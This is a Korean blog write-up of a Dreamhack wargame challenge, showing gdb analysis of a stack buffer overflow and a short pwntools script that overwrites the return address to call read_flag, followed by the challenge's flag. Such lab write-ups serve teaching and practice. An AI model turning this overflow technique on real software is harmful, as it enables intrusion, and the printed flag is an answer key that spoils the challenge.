문제 분석

AAA만 입력했을 때는 아무런 동작을 하지 않는다. 하지만 A를 엄청나게 많이 입력했을때는 Segmentation fault 에러가 뜨는 것을 확인할 수 있다. 따라서 core 파일이 생성되었다.
core 파일 분석

core 파일을 gdb로 분석해보면 0x61616161에서 violation이 발생하였다. 그리고 esp에 우리가 입력한 aaa의 값의 일부인 aaa가 저장되어 있는 것을 확인 할 수 있다. 따라서 너무 많은 값을 입력하여 반환 주소를 aaa가 덮어쓴 것이다.
basic_exploitation_001.c 코드 분석

해당 파일의 코드를 보면 read_flag라는 함수에서 cat을 이용하여 flag를 읽고 있는 것을 확인 할 수 있다. 또한 buf라는 버퍼에는 0x80만큼의 공간이 있다. 따라서 우리는 read_flag 함수의 주소를 찾아서 bof를 진행하면 flag를 획득할 수 있을 것이다.
스택 프레임 구조 파악

사용자 입력을 받는 gets 함수에 bp를 걸고 프로그램을 실행시켜 보면 위와 같은 결과를 통해 스택 프레임 구조를 파악할 수 있다.
위의 정보들을 통해 구조를 파악해보면
buf - sfp 거리는 0x80
sfp와 ret address까지의 거리는 ebp + 0x04
buf와 ret address까지의 거리는 0x84
가 된다.
Exploit
위의 정보들을 통해 셸을 획득하려면 0x84만큼을 쓰레기 값으로 채우고 read_flag()의 주소를 리틀 앤디언으로 변환하여 bof 진행하면 셸을 획득할 수 있다.

read_flag() 함수의 주소 : 0x80485b9
exploit code
from pwn import *
p = remote("host3.dreamhack.games", 13394)
addr = 0x80485b9
payload = b'A' * 0x80
payload += b'B' * 0x04
payload += p32(addr)
p.sendline(payload)
p.interactive()
위와 같이 익스플로잇 코드를 작성하고 파이썬 파일을 실행하면 flag를 획득 할 수 있다.

flag : DH{01ec06f5e1466e44f86a79444a7cd116}
'CTF & Wargame(PWNABLE)' 카테고리의 다른 글
| [dreamhack] level 2 ssp_001 (0) | 2025.04.03 |
|---|---|
| [dreamhack] level 2 Return to Shellcode (0) | 2025.04.02 |
| [dreamhack] level 2 basic_exploitation_000 (0) | 2025.04.01 |
| [dreamhack] Return Address Overwrite (0) | 2025.04.01 |
| [dreamhack] Beginner shell_basic (0) | 2025.03.27 |